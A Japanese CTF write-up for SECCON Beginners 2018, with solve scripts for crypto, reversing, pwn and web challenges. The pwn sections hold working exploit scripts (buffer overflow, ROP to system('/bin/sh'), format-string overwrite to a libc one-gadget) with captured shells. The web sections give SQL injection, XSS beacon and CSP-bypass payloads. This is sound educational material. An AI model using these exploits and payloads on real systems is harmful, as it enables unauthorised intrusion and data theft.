SECCON Beginners CTF 2018 Write-up

[SECCON Beginners CTF 2018 Write-up](https://2017.seccon.jp/news/seccon-beginners-ctf-2018.html)

初心者向けを謳っているので簡単かと思いきや、なかなか難しかったし、面白かった。

全問解けて5位。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/7bcf9e47-d85b-2760-fcc9-21ad193829ab.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/7bcf9e47-d85b-2760-fcc9-21ad193829ab.png" width="240"></a>&nbsp;<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/b4b3a844-18fa-27c2-6abf-b2a94e6ec208.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/b4b3a844-18fa-27c2-6abf-b2a94e6ec208.png" width="240"></a>

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/be13f69b-a68b-f3e3-97d1-da7fcd3e9136.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/be13f69b-a68b-f3e3-97d1-da7fcd3e9136.png" width="480"></a>

# Crypto

## [Warmup] Veni, vidi, vici

ファイルが3個。

```
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
```

```
The first part of the flag is: ctf4b{n0more
```

```
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
```

1個目は、[ROT13](https://ja.wikipedia.org/wiki/ROT13)。2個目は8文字ずらす。3個目は180度回転。

```
The first part of the flag is: ctf4b{n0more
The second part of the flag is: _cLass!cal_c
The third part of the flag is: Rypt0graphy}
```

`ctf4b{n0more_cLass!cal_cRypt0graphy}`

## RSA is Power

```
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
```

200ビットちょっとのRSA。この程度のビット数なら、[msieve](https://sourceforge.net/projects/msieve/)で2分くらいで素因数分解できる。正攻法で解けば良い。

`N`を素因数分解すると$299681192390656691733849646142066664329\times324144336644773773047359441106332937713$。

```solve.py
def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m/n*x, d
  else:
    return 1, 0, m

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
d = exgcd(E, (p-1)*(q-1))[0] % ((p-1)*(q-1))
P = pow(C, d, N)
print ("%x"%P).decode("hex")
```

`ctf4b{5imple_rs4_1s_3asy_f0r_u}`

## Streaming

[ストリーム暗号](https://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%88%E3%83%AA%E3%83%BC%E3%83%A0%E6%9A%97%E5%8F%B7)。`seed`として64ビットの乱数を渡しているものの、`seed % self.C`として使われ、`C = 34607`。全ての`seed`を試せば良い。

```solve.py
class Stream:
：

enc = open("encrypted", "rb").read()
for seed in range(34607):
  g = Stream(seed)
  flag = ""
  for i in range(0, len(enc), 2):
    a = ord(enc[i]) + ord(enc[i+1])*256
    a ^= g.next()
    flag += chr(a/256) + chr(a%256)
  print seed, flag
```

```shell-session
$ python solve.py
32495 ctf4b{lcg-is-easily-predictable}
```

`ctf4b{lcg-is-easily-predictable}`

## Well Known

この問題が面白かった。

```shell_session
$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
1234
r = 21183250010359952806345122199015360642338725222737198513375283413383256132564
s = 36619232422612186792893409826912120542431864274384435239388224437543194174673
Input your data (in hex):
5678
r = 52883516820858375951883658778458908842158291321833812874960538246118025719949
s = 38272579346732565596266925322623659649576880441070283686962472416114312432527
Input your data (in hex):
abcd
r = 42916661205479218449094254775545760042632974514727200508342979651155729786746
s = 73609086218427341451086400580034668272675991946938894384373008773538778902072
Bye.
```

最初はプログラムを見ても、いまいち何をやっているのか分からなかった。`mod`が`p`と`q`の2通りあるし、使わない変数`y`を計算しているし。

[ElGamal署名](https://ja.wikipedia.org/wiki/ElGamal%E7%BD%B2%E5%90%8D)だった。「二つの別々のメッセージに同じ乱数kで署名を行った場合、攻撃者は直接xを得ることが可能になる」と書かれている。具体的な方法は[この動画](https://www.youtube.com/watch?v=zlKAci67I5Y)で説明されていた。要は、変数が一つ減ったことで代数的に解けるということだろうか。

問題のプログラムでは`k`は入力した`data`のSHA1ハッシュと乱数から計算され、`m`は入力した`data`のSHA256ハッシュ。[SHAttered](https://shattered.io/)からPDFを持ってきて、先頭部分を切り出せば、`k`が等しく`m`が異なる入力に対する、`r`と`s`が手に入る。

```shell-session
$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s = 8978472509224036527515663531932899733739119377977868324278588823158777659676
Input your data (in hex):
255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s = 66078837985264647705939274457378061453221461868280624730167528869291273226897
Input your data (in hex):
00
r = 41587201935967282981765982098114759323903928399977527851983400789192853925147
s = 22357638860429299406335781378506993048043434793209548086385190575198656954841
Bye.
```

```solve.py
import hashlib

m1 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1"
m2 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1"
m1 = int(hashlib.sha256(m1.decode("hex")).hexdigest(), 16)
m2 = int(hashlib.sha256(m2.decode("hex")).hexdigest(), 16)

p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s1 = 8978472509224036527515663531932899733739119377977868324278588823158777659676
s2 = 66078837985264647705939274457378061453221461868280624730167528869291273226897

def inv(x):
  return pow(x, q-2, q)

k = (m1-m2)*inv(s1-s2)
x = (s1*k-m1)*inv(r)%q
print hex(x)[2:-1].decode("hex")
```

問題のスクリプトを読むと`p`, `q`, `g`は繋ぐ度に生成されそうだけど、変わらないのはなぜだろう？

`ctf4b{be_c4reful_w1th_k}`

# Pwn

## [Warmup] condition

指定されたサーバーに繋いだら、こんな感じ。

```
Please tell me your name...hogehoge
Permission denied
```

「え、とっかかりが分からない。難しくない！？」となったけど、ちゃんと問題を見たらサーバーのプログラムが配布されていた。逆アセンブルすると、読み込みバッファの直後の変数が`0xdeadbeef`ならフラグが表示されるようになっていた。

```shell-session
$ printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde\n' | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
```

`ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}`

## BBS

こんな感じ。

```shell-session
$ nc pwn1.chall.beginners.seccon.jp 18373
Input Content : hogehoge

==============================

Sun May 27 02:49:24 JST 2018
hogehoge

==============================
```

ハンド逆アセンブル。

```c
#include <stdio.h>

int main()
{
    char buf[128];
    printf("Input Content : ");
    gets(buf);
    puts("==============================\n");
    system("date");
    printf("%s\n\n==============================\n");
}
```

とてもわかりやすいスタックバッファーオーバーフローがある。`gets`が読み込みを終了するのは`\n`だけなので、NUL文字を書き込むこともできる。コード中に`system`も用意してくれている。なので、簡単……かと思いきや、意外とハマった。x64だから、引数はスタックに積むのではなく`rdi`で渡す。そもそも、どこかから`/bin/sh`という文字列を持ってこないといけない。

ということで、Return Oriented Programmingで`gets(書き込み可能なアドレスA); system(A)`を実行する。逆アセンブル結果には、`pop rdi; ret`が見つからないけれど、[gdb-peda](https://github.com/longld/peda)で、プログラムを実行中に`dumprop`を叩くと出てきた。`pop r15`には`pop rdi`が含まれていた。

```
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ...
0x40074f: ret
0x40065a: repz ret
0x4006f8: leave; ret
0x4005f0: pop rbp; ret
0x400763: pop rdi; ret
0x400762: pop r15; ret
0x4006f7: add cl,cl; ret
```

```solve.py
from socket import *
from time import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 18373))
print s.recv(10000)
t = "a"*136
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400570) # gets
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400540) # system
t += "\n"
s.send(t)
s.send("/bin/sh\n")

t = Telnet()
t.sock = s
t.interact()
```

```shell-session
$ python solve.py
Input Content :

==============================

Sun May 27 03:13:04 JST 2018
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac@

==============================
ls -al
total 36
drwxr-x--- 2 root bbs  4096 May 19 01:16 .
drwxr-xr-x 7 root root 4096 May 19 01:16 ..
-rw-r----- 1 root bbs   220 Sep  1  2015 .bash_logout
-rw-r----- 1 root bbs  3771 Sep  1  2015 .bashrc
-rw-r----- 1 root bbs   655 May 16  2017 .profile
-rwxr-x--- 1 root bbs  8872 May 19 01:16 bbs
-rw-r----- 1 root bbs    63 May 19 01:16 flag.txt
cat flag.txt
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}
exit
*** Connection closed by remote host ***
```

`ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}`

## Seczon

これが最後まで残った。

```shell-session
$ nc pwn1.chall.beginners.seccon.jp 21735
+---------------------+
|      Seczon.com     |
+---------------------+
|1) Add a item        |
|2) Comment a item    |
|3) Show a item       |
|4) Delete a item     |
+---------------------+
Action:
>> 1
Input item name
>> hoge
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> fuga
Confirmation
hoge
fuga
Action:
>> 3
Choose item ID
>> 0
hoge
fuga
```

初心者向けなのにヒープオーバーフロー……。に見えるが、コメントの入力で[書式指定文字列攻撃](https://ja.wikipedia.org/wiki/%E6%9B%B8%E5%BC%8F%E6%96%87%E5%AD%97%E5%88%97%E6%94%BB%E6%92%83)ができた。

```
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> %x %x %x %x
Confirmation
a
23 f77705a0 56609cad f7770000
```

libcには、one-gadget RCEという、そこに制御を移せばシェルが起動するアドレスがある。

[one\-gadget RCE in Ubuntu 16\.04 libc · うさぎ小屋](https://kimiyuki.net/blog/2016/09/16/one-gadget-rce-ubuntu-1604/)

配布されたlibcを逆アセンブルして、↑のブログ記事の処理があるアドレスを探せば良い。ASLRでアドレスが変わるので、基準にする`main`関数からの戻り先（`__libc_start_main`）も探す必要がある。PIEが有効だから、pltを参照することはできない。配布されたlibcでは、one-gadget RCEのアドレスが`0x18637`で、戻り先が`0x18637`。ハマったのがここで、`_IO_proc_open`のほうは動かなかった。良く見たら`eax=1`という条件が書かれていた。`__strtold_nan`のほうは条件を満たしていた。

方針は、

1. `%n$x`でスタック中のスタックのアドレスやlibcのアドレスをリークさせる
2. one-gadget RCEのアドレス、`printf`の引数のアドレス、`comment`関数から戻るときのアドレスを計算する
3. `comment`関数から戻るときのアドレスをone-gadget RCEで上書きする

このプログラムは`main`関数から戻ることはないので、そこを上書きしても意味が無い。`comment`関数から戻るときのアドレスを上書きするので一度に書き換えなければならず、コメントの文字数の制限がきついので大変だった。1バイトずつではなく2バイトずつ書き込んで何とかなった。

追記

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">些細なことですが、1-4以外の値を渡すとmain抜けますね &quot;このプログラムはmain関数から戻ることはないので&quot; <a href="https://t.co/BZqDw8zZwD">https://t.co/BZqDw8zZwD</a></p>&mdash; mage(まげ) (@mage_1868) <a href="https://twitter.com/mage_1868/status/1000598581189926912?ref_src=twsrc%5Etfw">2018年5月27日</a></blockquote>

なぜか「`main`関数から戻ることはない」と思い込んでいた。`main`関数からの戻り先を2回に分けて書き換えれば、`printf`で大きな出力をしなくても、解けそう。

```solve.py
from socket import *
from time import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 21735))

sleep(1)
print s.recv(1000)

s.send("1\n")
sleep(1)
print s.recv(1000)

s.send("hoge\n")
sleep(1)
print s.recv(1000)

s.send("2\n")
sleep(1)
print s.recv(1000)
s.send("0\n")
sleep(1)
print s.recv(1000)
s.send("%18$x %23$x\n")
sleep(1)
d = s.recv(1000)
print d
t = [int(x, 16) for x in d.split("\n")[2].split(" ")]
stack = t[0]
libc = t[1]
print "stack %08x" % stack
print "libc %08x" % libc

rce = libc - 0x18637 + 0x3ac69
print "rce %08x" % rce

s.send("2\n")
sleep(1)
print s.recv(1000)
s.send("0\n")
sleep(1)
print s.recv(1000)

attack = (
  "___" +
  pack("<I", stack-0xffffd5c8+0xffffd5bc) +
  pack("<I", stack-0xffffd5c8+0xffffd5be) +
  "%%%dc" % ((rce%0x10000 - 11)%0x10000) +
  "%7$n" +
  "%%%dc" % ((rce/0x10000 - rce%0x10000)%0x10000) +
  "%8$n" +
  "\n")
print len(attack), repr(attack)
s.send(attack)

t = Telnet()
t.sock = s
t.interact()
```

```
+---------------------+
|      Seczon.com     |
+---------------------+
|1) Add a item        |
|2) Comment a item    |
|3) Show a item       |
|4) Delete a item     |
+---------------------+
Action:
>>
Input item name
>>
Action:
>>
Choose item ID
>>
Input a comment
>>
Confirmation
hoge
ffd06478 f753c637
Action:
>>
stack ffd06478
libc f753c637
rce f755ec69
Choose item ID
>>
Input a comment
>>
33 '___ld\xd0\xffnd\xd0\xff%60510c%7$n%2796c%8$n\n'
Confirmation
hoge
___ldﾐdﾐ

：

ls -al
total 36
drwxr-x--- 2 root seczon  4096 May 19 01:16 .
drwxr-xr-x 7 root root    4096 May 19 01:16 ..
-rw-r----- 1 root seczon   220 Sep  1  2015 .bash_logout
-rw-r----- 1 root seczon  3771 Sep  1  2015 .bashrc
-rw-r----- 1 root seczon   655 May 16  2017 .profile
-rw-r----- 1 root seczon    51 May 19 01:16 flag.txt
-rwxr-x--- 1 root seczon 11984 May 19 01:16 seczon
cat flag.txt
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
exit
*** Connection closed by remote host ***
```

`ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}`

# Reversing

## [Warmup] Simple Auth

逆アセンブルして読む。

`ctf4b{rev3rsing_p4ssw0rd}`

## Activation

.NET。[dnSpy](https://github.com/0xd4d/dnSpy)が良い。

```solve.py
d = open("Activation.exe", "rb").read()[0x3b9c:0x3cf5]
d = list(d)
for i in range(len(d)):
  d[i] = chr((ord(d[i]) ^ i ^ 170) & 0xff)
d = "".join(d)
print d

idx = [0, 15, 50, 85, 103, 111, 127, 130, 151, 156, 185, 249, 259, 270, 297, 334]
for i in range(len(idx)):
  print idx[i], d[idx[i]:idx[i+1]] if i+1<len(idx) else d[idx[i]:]
```

で、暗号化されている文字列が復号できる。

アクティベーションコードを暗号化して、プログラム中の文字列と一致しているかをチェックしているので、逆にプログラム中の文字列を復号する。

```solve.py
from Crypto.Cipher import AES

E = "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5".decode("base64")
aes = AES.new("SECCON_BEGINNERS", AES.MODE_ECB, "CTF4B7E1"*2)
print repr(aes.decrypt(E))
```

`ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}`

## crackme

逆アセンブルして解析。

```solve.py
K = [
  0x9c,0x9e,0x8c,0x3e,0x68,0x64,0x7b,0x3f, 0x50,0x63,0x0a,0x7f,0x55,0x73,0x1e,0x64,
  0x3c,0x55,0x7b,0x6e,0x60,0x5d,0x34,0x26, 0x26,0x65,0x6d,0x37,0x39,0x79,0x3f,0x28,
]
s = 0xff
for i in range(0, 16, 4):
  K[i] ^= s
  s ^= 0x15
  K[i+1] ^= s
  s |= 0x20
  K[i+2] ^= s
  s &= 0x0f
  K[i+3] ^= s
for i in range(16, 32, 4):
  K[i] ^= s
  s &= 0x0a
  K[i+1] ^= s
  s /= 3
  K[i+2] ^= s
  s ^= 0x55
  K[i+3] ^= s
print "".join(map(chr, K))
```

`ctf4b{D0_y0u_l!k3_x86_4ssembly?}`

## Message from the future

> 2020年からメッセージが届きました。
> `0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759`
> メッセージはこのプログラムによって暗号化されています。

とのこと。

プログラムを動かしてみると、出力は、入力の対応する位置の文字と、実行時の年月のみに依存していることが分かる。2020年1月から12月まで日付を変えながら、`ctf4b{`をエンコードして`0f242e412b34`となる月を探す。8月だった。オリンピック？　あとは、日付を2020年8月にして、`!!!!!!!!...`、`""""""""...`、`########...`、…を暗号化し、それぞれの位置で暗号文の文字を探せば良い。Reversingは不要。暗号文が`00`になると、なぜか以降の文字が出力されなくなるので、そこだけ文字を変えたりする。面倒。

`ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}`

# Web

## [Warmup] Greeting

Cookieに`name=admin`を書き込むのが想定解っぽいけど、普通に入力欄に`admin`と入れて、（POSTではなくGETで）ページを再読込すればフラグが出てくる。

`ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}`

## Gimme your comment

> ビギナーズカンパニーは皆様からのご意見をお待ちしています。
> お問合わせの回答には特別なブラウザを使用しており、このブラウザの `User-Agent` が分かった方には特別に得点を差し上げます :-)

手元にサーバーを立ち上げて、問い合わせの本文に`<img src="http://自分のIPアドレス">`を書き込む。

`ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}`

## SECCON Goods

XHRで読みこんでいる`/items.php?minstock=0`にSQL Injectionがある。色々試すとMySQLらしい。`0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--`で、`flag`というテーブルがあることが分かる。`0 UNION SELECT flag,2,3,4,5 FROM flag--`でフラグが出てくる。DBエンジンの推測より先に`SELECT flag FROM flag`を試すべきだった。

`ctf4b{cl4551c4l_5ql_1nj3c710n}`

## Gimme your comment REVENGE

脆弱性が直ってなくない？と思ったら、`Content-Security-Policy: default-src 'self'`ヘッダが設定されていた。これでは手元のサーバーにリクエストが飛ばない。

偽のフォームを用意すれば良い。

```html
<form action="http://自分のIPアドレス">
  <input name="comment_content">
  <button type="submit">
</form>
<!--
```

`ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}`

# Misc

## [Warmup] Welcome

> フラグは公式IRCチャンネルのトピックにあります。

「近頃の若いもんは、コンテスト終了後にIRCで情報交換をしないからいかん」ということだろうか？w

`ctf4b{welcome_to_seccon_beginners_ctf}`

## [Warmup] plain mail

「パスワードは別のメールでお送りします」というやつ。Wiresharkで開いて、Follow → TCP Streamで見やすくなる。

`ctf4b{email_with_encrypted_file}`

## てけいさんえくすとりーむず

```shell-session
$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
821 * 851 = 698671
(Stage.2)
693 - 548 = 145
(Stage.3)
788 - 903 = 0
[!!] Wrong, see you.
```

300問答えるとフラグが出てくる。

```solve.py
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))

def read():
  t = ""
  while len(t)==0 or t[-1]!="\n":
    t += s.recv(1)
  return t[:-1]

for _ in range(11):
  print read()

for _ in range(100):
  print read()
  q = s.recv(100)
  print q
  s.send("%s\n" % eval(q[:-3]))

print s.recv(100)
```

`ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}`

## Find the messages

[FTK Imager](https://cyberforensic.focus-s.com/product/87/)を使った。

File → Add Evidence Item... → Image File。message_1_of_3.txtはbase64。message_2_of_3.pngはシグネチャ部分が潰されているので、先頭8バイトを`89 50 4e 47 0d 0a 1a 0a`に書き換える。message_3_of_3.pdfはなぜか出てこないので、問題のイメージを`%PDF`で検索して切り出した。

`ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}`